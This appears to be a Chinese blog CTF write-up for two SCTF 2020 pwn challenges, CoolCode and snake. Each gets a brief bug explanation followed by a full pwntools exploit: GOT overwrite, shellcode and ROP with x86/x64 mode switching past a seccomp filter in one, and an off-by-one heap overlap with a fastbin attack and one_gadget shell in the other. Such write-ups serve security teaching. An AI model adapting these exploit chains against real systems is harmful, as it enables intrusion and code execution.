avatar

CTF-XCTF-2020-SCTF

PWN

CoolCode

由于add的时候存在负整数溢出,可以直接覆盖exit_got为heap地址,且heap区段是可读可写可执行,所以输入\xc3,也就是ret汇编的机器码,就可以绕过exit

然后覆盖scanf_got为heap区段,然后到heap中执行shellcode,首先执行read(0,“rsp”,0x100);ret;这样可以构造栈溢出,所以从堆题转化为栈题

然后跑ROP去泄露libc地址,然后回到scanf_plt,回到堆上的shellcode,继续栈溢出劫持执行mmap,然后再mmap上构造retfq和retf,切换到x86执行SYS_open,然后切换回x64执行read、write,最后拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
# -*- coding: utf-8 -*-
# Author xynm
#import xynm_pwn_util
import sys
import os
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = b"CRITICAL"
remote_ip = b'127.0.0.1'
remote_port = 9999
binary_file = './%s' % "CoolCode"
#context.terminal = ['tmux', 'splitw', '-h']
local_libc_file = b'/lib/x86_64-linux-gnu/libc.so.6'
remote_libc_file = b''
def exploit(sh,remote = False,awd = False,awd_binary_file = ''):
def debug(gdb_script = ""):
gdb.attach(sh,gdb_script)
global binary_file,local_libc_file,remote_ip,remote_port,local_libc_file,remote_libc_file
elf = ELF(binary_file)
context.arch = "amd64"
if (awd or remote) and remote_libc_file != "":
lib = ELF(remote_libc_file)
else:
lib = elf.libc if local_libc_file == b"" else ELF(local_libc_file)
pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
s = lambda data :sh.send(str(data))
sa = lambda delim,data :sh.sendafter(str(delim), str(data))
sl = lambda data :sh.sendline(str(data))
sla = lambda delim,data :sh.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
irt = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ru7f = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
ruf7 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
lg = lambda data :log.success(data)
'''
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0006
0002: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0006
0003: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0006
0004: 0x15 0x01 0x00 0x00000005 if (A == fstat) goto 0006
0005: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
'''
#puts_got : 0x602028
#chunk_list : 0x602140
def add(idx,content):
sla("Your choice :","1")
sla(":",str(idx))
sa("messages: ",content)
def show(idx):
sla("Your choice :","2")
sla(":",str(idx))
def free(idx):
sla("Your choice :",'3')
sla(":",str(idx))

exit_offset = -(0x602140 - 0x602090) / 0x8
read_offset = -(0x602140 - 0x602058) / 0x8
scanf_offset = -(0x602140 - 0x602088) / 0x8

payload = '\xc3'
add(exit_offset,payload)
payload = shellcraft.read(0,"rsp",0x100)
payload += "ret;"
payload = asm(payload)

add(scanf_offset,payload)
sla("Your choice :","1")
payload = p64(pop_rdi_ret)
payload += p64(elf.got['__libc_start_main'])
payload += p64(elf.plt['puts'])
payload += p64(elf.plt['__isoc99_scanf'])

sl(payload)
sleep(1)
__libc_start_main = ru7f()
libc = __libc_start_main - lib.symbols[b'__libc_start_main']
#debug_remote(sh.pid)

lib.address = libc
system = lib.symbols[b'system']
binsh = lib.search(b"/bin/sh\x00").next()
__free_hook = lib.symbols[b'__free_hook']
__malloc_hook = lib.symbols[b'__malloc_hook']
__realloc_hook = lib.symbols[b'__realloc_hook']
one_gadget = []

#0x0000000000048a8f : shr r9, cl ; mov qword ptr [rdi], r9 ; ret

pop_rdi_ret = 0x0000000000021102
pop_rsi_ret = 0x00000000000202e8
pop_rdx_ret = 0x0000000000001b92
pop_rcx_rbx_ret = 0x00000000000ea69a
pop_rax_ret = 0x0000000000033544
pop_r8_ret = 0x0000000000135136
shr_r9_cl_mov_ptr_rdi_r9_ret = 0x0000000000048a8f


payload = ''

payload += p64(libc+pop_rsi_ret) + p64(0x1000)
payload += p64(libc+pop_rdx_ret) + p64(0x7)
payload += p64(libc+pop_rcx_rbx_ret) + p64(34) + p64(0)
payload += p64(libc+pop_r8_ret) + p64(0)

payload += p64(libc+pop_rdi_ret) + p64(elf.bss() + 0x300)
payload += p64(libc+shr_r9_cl_mov_ptr_rdi_r9_ret)
payload += p64(libc+pop_rdi_ret) + p64(0x66666000)
payload += p64(lib.sym['mmap'])


payload += p64(libc+pop_rdi_ret) + p64(0)
payload += p64(libc+pop_rsi_ret) + p64(0x66666000)
payload += p64(libc+pop_rdx_ret) + p64(0x1000)
payload += p64(lib.sym['read'])
payload += p64(0x66666000)


sl(payload)
sleep(1)

payload = ''
payload += asm("mov rsp,0x66666300")
payload += asm("push 0x23")
payload += asm("push 0x66666100")

payload += asm("retfq")

payload = payload.ljust(0x100,'\x90')
payload += 'jgh/fla\x89\xe31\xc91\xd2j\x05X\xcd\x80' #open("/flag",0)
payload += 'j3hPaff\xcb'#push 0x33;push 0x66666614
payload = payload.ljust(0x150,'\x90')
payload += asm(shellcraft.read(3,0x66666800,0x100))
payload += asm(shellcraft.write(1,0x66666800,0x100))

payload = payload.ljust(0x300,'\x90')
sl(payload)



lg(b"libc: " + hex(lib.address))
lg(b"system: " + hex(system))
lg(b"binsh: " + hex(binsh))
lg(b"__free_hook: " + hex(__free_hook))
lg(b"__realloc_hook: " + hex(__realloc_hook))
lg(b"__malloc_hook: " + hex(__malloc_hook))



irt()

def CTF_exploit(argv):
global remote_ip,remote_port,binary_file
argv_len = len(argv)
context.log_level = b"DEBUG"
if argv_len == 1:
sh = process(binary_file)
exploit(sh)
return
elif argv_len == 3:
sh = remote(argv[1],argv[2])
exploit(sh,remote = True)
return
else:
sh = process(binary_file)
exploit(sh)
if __name__ == b"__main__":
CTF_exploit(sys.argv)

snake

按按回车,等蛇撞墙了,输入很长的数据,然后add、free一下,诶,崩了?

仔细一看,heap中有一个off by one,那么可以实现heap overlap,通过布局可以实现fastbin attack,由于我太懒了,而且刚好可以打到read,然后恰好有一个one_gadget离read非常近,所以覆盖read低两个字节为one_gadget低位直接爆破拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import sys
import os
from time import *
from pwn import *
context.log_level = b"CRITICAL"
remote_ip = b'127.0.0.1'
remote_port = 9999
binary_file = './%s' % "snake"
local_libc_file = b'/lib/x86_64-linux-gnu/libc.so.6'
remote_libc_file = b''
def exploit(sh,remote = False,awd = False,awd_binary_file = ''):
def debug(gdb_script = ""):
gdb.attach(sh,gdb_script)
global binary_file,local_libc_file,remote_ip,remote_port,local_libc_file,remote_libc_file
elf = context.binary
if (awd or remote) and remote_libc_file != "":
lib = ELF(remote_libc_file)
else:
lib = elf.libc if local_libc_file == b"" else ELF(local_libc_file)
if context.arch == b"amd64":
pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
s = lambda data :sh.send(str(data))
sa = lambda delim,data :sh.sendafter(str(delim), str(data))
sl = lambda data :sh.sendline(str(data))
sla = lambda delim,data :sh.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
irt = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ru7f = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
ruf7 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
lg = lambda data :log.success(data)
def add(idx,size,content):
sla("4.start name","1")
sla("?",str(idx))
sla("?",str(size))
sa("?",content)
def show(idx):
sla("4.start name","3")
sla("?",str(idx))
def free(idx):
sla("4.start name","2")
sla("?",str(idx))
def start():
sla("4.start name","4")
sla("how long?",str(0x68))
sla("input name",'jly niubi')
sla("enter","\n" * (0x20 + 3))
payload = p64(0xdeadbeefdeadbeef) * 9
payload += p32(0xcafecafe) + chr(0x70 + 0x40 + 1)
sa("please leave words",payload)
sa("if you want to exit?",'N')
add(1,0x38,p64(0xcafecafecafecafe))
free(0)
free(1)
add(2,0x28,p64(0x2222222222222222))
add(3,0x28,p64(0x3333333333333333))
payload = p64(0xcafecafecafecafe) + p64(0x41)
payload += p64(0x603040 + 2)
add(4,0x58,payload)
add(5,0x38,p64(0x5555555555555555))
payload = '\x66' * 6
payload += p64(0x0000000000400a06) + '\xb0\x02'
add(6,0x38,payload)
sla("4.start name","1")
sla("?",str(7))
sla("?",str(0x68))
irt()
def CTF_exploit(argv):
global remote_ip,remote_port,binary_file
argv_len = len(argv)
context.log_level = b"DEBUG"
context.binary = binary_file
if argv_len == 1:
sh = process(binary_file)
exploit(sh)
return
elif argv_len == 3:
sh = remote(argv[1],argv[2])
exploit(sh,remote = True)
return
else:
sh = process(binary_file)
exploit(sh)
if __name__ == b"__main__":
CTF_exploit(sys.argv)
文章作者: 咲夜南梦
文章链接: http://yoursite.com/2020/07/06/CTF-XCTF-2020-SCTF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论